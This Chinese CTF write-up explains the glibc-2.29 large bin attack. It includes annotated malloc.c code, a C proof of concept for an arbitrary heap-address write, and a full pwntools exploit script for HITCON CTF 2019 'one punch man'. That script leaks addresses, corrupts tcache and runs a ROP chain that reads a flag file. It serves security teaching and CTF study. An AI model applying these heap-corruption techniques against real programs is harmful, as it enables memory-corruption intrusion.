glibc-2.29 large bin attack 原理

原创: 星盟安全团队 星盟安全

该方法并非笔者发现,而是阅读 balsn 的 writeup 时分析而得到的,这里介绍一下这种攻击方法。

unsorted bin attack
在介绍新的攻击技术之前,先来缅怀一下 unsorted bin attack , 由于 glibc-2.29 新上的保护措施,使得 unsorted bin attack 基本已经成为过去式。

unsorted bin attack的原理是利用 unsortedbin 在解链时,对 fd 指针的操作,直接的作用就是可以任意地址写入一个 main_arena 地址值,非常好用的攻击方法。虽然 glibc-2.29 不能使用 unsorted bin attack 了,但是 large bin attack 或许可以成为它的代替品。

large bin attack
glibc-2.29 的 large bin attack 和先前的并不完全一样,但是原理类似。
其主要发生在 large bin 的 nextsize 成环时,没有对其进行检查,所以只要存在 UAF 漏洞,就能修改 nextsize 指针进行任意地址写入 chunk 地址的操作。

漏洞主要发生在下列代码(来自 glibc-2.29/malloc/malloc.c:3841 ):

victim_index = largebin_index (size);bck =bin_at (av, victim_index);fwd =bck->fd;/* maintainlarge bins in sorted order */if (fwd !=bck){/* Orwith inuse bit to speed comparisons */size |=PREV_INUSE;/* if smaller than smallest, bypassloop below */assert(chunk_main_arena (bck->bk));if ((unsignedlong) (size)< (unsigned long)chunksize_nomask (bck->bk)){fwd= bck;bck = bck->bk;victim->fd_nextsize = fwd->fd;victim->bk_nextsize = fwd->fd->bk_nextsize; // onefwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize =victim;}else{assert (chunk_main_arena (fwd));while((unsigned long) size < chunksize_nomask (fwd)){fwd = fwd->fd_nextsize;assert(chunk_main_arena (fwd));}// but size must be differentif((unsigned long) size== (unsigned long)chunksize_nomask (fwd))/*Always insert in the second position.  */fwd = fwd->fd;else{victim->fd_nextsize = fwd;victim->bk_nextsize = fwd->bk_nextsize;fwd->bk_nextsize = victim;victim->bk_nextsize->fd_nextsize = victim; // two}bck = fwd->bk;}}elsevictim->fd_nextsize = victim->bk_nextsize = victim;

large bin 是以 victimindex 为单位进行 nextsize 之间的成环操作,每个 victimindex 的长度是 0x40,上面的代码是 unsorted bin 进行归位 操作时,将 本属于该环的 victim 插入到该环中。但是这里却没有unsorted bin 那样对指针进行检查。

由于 large bin 是双向链表,插入操作并不会对整个环进行检查,这里我们只需要劫持 其bk_nextsize 指针,那么在插入的时候,程序便会把该假的地址当成一个真的 chunk 从而进行双向链表插入操作,这样就会使得该要插入的 chunk 将会留下它的地址到我们 设置的任意地址。

其核心代码是victim->bk_nextsize = fwd->fd->bk_nextsize; // one或者victim->bk_nextsize->fd_nextsize = victim; // two,就是在这里完成了写操作,具体执行哪段代码还要取决与两个chunk 的size 比较。

这里提醒一点,两个chunk 的size不能相同,否则会执行下面程序流而导致不能实现我们的目的。


if ((unsigned long) size== (unsigned long)chunksize_nomask (fwd))/* Always insertin the second position.  */fwd = fwd->fd;

其次是 large bin 的 fdnextsize 需要设置为0,否则程序流会执行到下面的代码进行unlink 操作,那么就无法通过 unlink 对 large bin 的 bknextsize 和fd_nextsize 检查。
来自 glibc-2.29/malloc/malloc.c:4049

size = chunksize(victim);/*  We know the first chunk in this bin is bigenough to use. */assert ((unsignedlong) (size) >= (unsigned long) (nb));remainder_size =size - nb;/* unlink */unlink_chunk (av,victim);

样例代码

#include <stdio.h>
#include <stdlib.h>size_t buf[0x10];int main()
{size_t *ptr,*ptr2, *ptr3;setbuf(stdout, NULL);ptr = malloc(0x438);malloc(0x18);ptr2 = malloc(0x448);malloc(0x18);free(ptr);// put ptr intolarge binmalloc(0x600);free(ptr2);ptr[2] = 0;ptr[3] = (size_t)&buf[0];printf("buf[4]:0x%lx\n", buf[4]);ptr3 = malloc(0x68);printf("buf[4]:0x%lx\n", buf[4]);return 0;
}

buf[4]就相当于 fakechunk->fdnextsize 指针,指向该节点的上一个节点。

执行结果如下所示:

buf[4]: 0x0
buf[4]: 0x560075a246b0

例题 - HITCON CTF 2019 PWN - one punch man
文件链接:https://github.com/Ex-Origin/ctf-writeups/tree/master/hitconctf2019/pwn/onepunchman。
该程序主要的漏洞就是在delete时没有清理指针,导致UAF。

void delete()
{unsigned int v0; //[rsp+Ch] [rbp-4h]write_str("idx:");v0 = get_int();if ( v0 > 2 )error((__int64)"invalid");free((void*)heros[v0].calloc_ptr);
}

程序预置了后门函数,但是在tcache上有限制,必须要我们劫持tcache_perthread_struct才行,这里有两种思路,我自己的做法是劫持tcache_perthread_struct->entries,这里由于和本文章关系不大,这里我简要说下核心思路:利用tcache_perthread_struct->counts 伪造 size,然后利用 unlink 使得chunk overlap,然后控制其tcache_perthread_struct->entries。

第二种做法就是 balsn 战队的做法,很优秀的方法,核心思路就是利用large bin attack修改 tcache_perthread_struct->counts 来使用预置后门,然后用add 当中的缓冲区进行 ROP。
下面是 balsn 的脚本。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = '52.198.120.1'
port = 48763r = process('./one_punch')binary = "./one_punch"
context.binary = binary
elf = ELF(binary)
try:libc = ELF("./libc-2.29.so")log.success("libcload success")system_off =libc.symbols.systemlog.success("system_off= "+hex(system_off))
except:log.failure("libcnot found !")def name(index, name):r.recvuntil(">")r.sendline("1")r.recvuntil(":")r.sendline(str(index))r.recvuntil(":")r.send(name)passdef rename(index,name):r.recvuntil(">")r.sendline("2")r.recvuntil(":")r.sendline(str(index))r.recvuntil(":")r.send(name)passdef d(index):r.recvuntil(">")r.sendline("4")r.recvuntil(":")r.sendline(str(index))passdef show(index):r.recvuntil(">")r.sendline("3")r.recvuntil(":")r.sendline(str(index))def magic(data):r.recvuntil(">")r.sendline(str(0xc388))time.sleep(0.1)r.send(data)# if len(sys.argv) == 1:
#   r =process([binary, "0"],env={"LD_LIBRARY_PATH":"."})# else:
#   r = remote(host,port)if __name__ == '__main__':name(0,"A"*0x210)d(0)name(1,"A"*0x210)d(1)show(1)r.recvuntil("name: ")heap =u64(r.recv(6).ljust(8,"\x00")) - 0x260print("heap= {}".format(hex(heap)))for i in xrange(5):name(2,"A"*0x210)d(2)name(0,"A"*0x210)name(1,"A"*0x210)d(0)show(0)r.recvuntil("name: ")libc =u64(r.recv(6).ljust(8,"\x00")) - 0x1e4ca0print("libc= {}".format(hex(libc)))d(1)rename(2,p64(libc+ 0x1e4c30))name(0,"D"*0x90)d(0)for i in xrange(7):name(0,"D"*0x80)d(0)for i in xrange(7):name(0,"D"*0x200)d(0)name(0,"D"*0x200)name(1,"A"*0x210)name(2,p64(0x21)*(0x90/8))rename(2,p64(0x21)*(0x90/8))d(2)name(2,p64(0x21)*(0x90/8))rename(2,p64(0x21)*(0x90/8))d(2)d(0)d(1)name(0,"A"*0x80)name(1,"A"*0x80)d(0)d(1)name(0,"A"*0x88+ p64(0x421) + "D"*0x180 )name(2,"A"*0x200)d(1)d(2)name(2,"A"*0x200)rename(0,"A"*0x88+ p64(0x421) + p64(libc + 0x1e5090)*2 + p64(0) + p64(heap+0x10) )d(0)d(2)// pause()name(0,"/home/ctf/flag\x00\x00"+ "A"*0x1f0)magic("A")add_rsp48 = libc+ 0x000000000008cfd6pop_rdi = libc + 0x0000000000026542pop_rsi = libc + 0x0000000000026f9epop_rdx = libc + 0x000000000012bda6pop_rax = libc + 0x0000000000047cf8syscall = libc + 0xcf6c5magic(p64(add_rsp48))name(0,p64(pop_rdi)+ p64(heap + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) +p64(syscall) +p64(pop_rdi)+ p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax)+ p64(0) + p64(syscall) +p64(pop_rdi)+ p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax)+ p64(1) + p64(syscall))
r.interactive()

在上面的// pause()处暂停,查看其bin情况。

pwndbg> largebins
largebins
0x400: 0x56224269a4c0 —▸ 0x7f455f1dd090 (main_arena+1104)◂—0x56224269a4c0
pwndbg> x/6gx 0x56224269a4c0
0x56224269a4c0:   0x4141414141414141 0x0000000000000421
0x56224269a4d0:   0x00007f455f1dd090 0x00007f455f1dd090
0x56224269a4e0:   0x0000000000000000 0x0000562242698010
pwndbg>

这里构造好了 large bin attack,当进行 unsorted bin 归位时,便会修改tcache_perthread_struct->counts。
笔者是星盟安全团队成员之一,这里欢迎热爱网络安全的小伙伴们加入星盟安全:XHUwMDc4XHUwMDY5XHUwMDZlXHUwMDY3XHUwMDZkXHUwMDY1XHUwMDZlXHUwMDY3XHUwMDVmXHUwMDczXHUwMDY1XHUwMDYzXHUwMDQwXHUwMDMxXHUwMDM2XHUwMDMzXHUwMDJlXHUwMDYzXHUwMDZmXHUwMDZk。

——————————————————
更多资讯欢迎关注星盟安全公众号:

glibc-2.29 large bin attack 原理相关推荐

  1. 好好说话之Large Bin Attack

    large bin attack这种方法本质上并不难,只是有点绕而已.他和上一篇unsorted bin attack有点类似,都是chunk挂进bin链表的时候通过完成链表结构连接时发生的问题,只不 ...

  2. 【large bin 】源码解析

    large bin attack large bin的结构 网找了好久,没有一个形象的理解确实读源码不方便,找了好久,mkx7师傅的这篇文章总结的及其好! largebin 入bin操作 当确定vic ...

  3. unsorted bin attack

    0x01 unsorted bin 基本来源 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中. 释放一个不属于 fast bin ...

  4. houseoforange_hitcon_2016(House of orange, unsorted bin attack,FSOP)

    目录 题目分析 利用原理 house of orange FSOP 漏洞利用 Exp 题目分析 只有添加,显示,编辑三个功能,没有删除 添加函数,最多只能添加四次,每次添加会依次执行malloc(0x ...

  5. Largebin Attack原理详解

    0x0 简介 攻击成效:能够向任意地址写堆地址,常配合其他攻击手法实现 getshell. 条件:能够修改Largebin−>bk\textcolor{orange}{Largebin-> ...

  6. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

  7. 好好说话之Tcache Attack(1):tcache基础与tcache poisoning

    进入到了Tcache的部分,我还是觉得有必要多写一写基础的东西.以往的各种攻击手法都是假定没有tcache的,从练习二进制漏洞挖掘的角度来看其实我们一直模拟的都是很老的环境,那么这样一来其实和真正的生 ...

  8. 好好说话之Tcache Attack(3):tcache stashing unlink attack

    tcache stashing unlink attack这种攻击利用有一个稍微绕的点,就是small bin中的空闲块挂进tcache bin这块.弯不大,仔细想想就好了 往期回顾: 好好说话之Tc ...

  9. 好好说话之Tcache Attack(2):tcache dup与tcache house of spirit

    这篇文章介绍了两种tcache的利用方法,tcache dup和tcache house of spirit,两种方法都是用how2heap中的例题作为讲解.由于tcache attack这部分的内容 ...

最新文章

  1. 中大博士分析ICLR 2022投稿趋势:Transformer激增,ViT首进榜单前50,元学习大跌
  2. C++知识点42——下标运算符[]的重载及string类的实现
  3. 华人科学家在加拿大被区别对待,曾研究出埃博拉病毒治疗方法,Science刊文:同行震惊...
  4. 浅谈AQS(AbstractQueuedSynchronizer,同步队列)
  5. hdu1232(简单并查集)
  6. 2020\Simulation_2\3.单词重排
  7. 铃木uy125摩托车机油_UY125 新瑞梦UM125发布 济南铃木于湖南株洲吹响国IV集结号...
  8. 在awk中执行外部命令
  9. win10录屏工具_win10录屏软件选哪款?没用过别后悔
  10. 部署Smokeping
  11. 几个大厂及 RCE漏洞二三事
  12. Linux IO系统分析(scsi篇)
  13. css3实现水平垂直居中
  14. 第一次使用Latex编辑论文,经验分享
  15. Java中计算圆柱的体积
  16. vue实现文件下载功能
  17. 什么是研究报告,研究报告分为那些部分
  18. codeforces 417D. Cunning Gena 状压dp
  19. 论文笔记:Pointing Novel Objects in Image Captioning
  20. 搭建 Nexus 私服

热门文章

  1. 老婆要知道,老公也要明白
  2. 最实用30个电脑技巧(高手必备)
  3. record无法录音原因总结
  4. 内网离线 k3s Rancher 高可用安装部署流程
  5. 手动下载的jar包依赖了其他jar包,一个个找太麻烦,看我是怎么解决的
  6. Codeforces#232 A
  7. TP5入门-虚拟主机设置
  8. 游戏——TextOut函数
  9. 计算机作业win7操作流程,win7电脑硬盘进行分区的操作流程
  10. 计算机音乐谱on my own,On My Own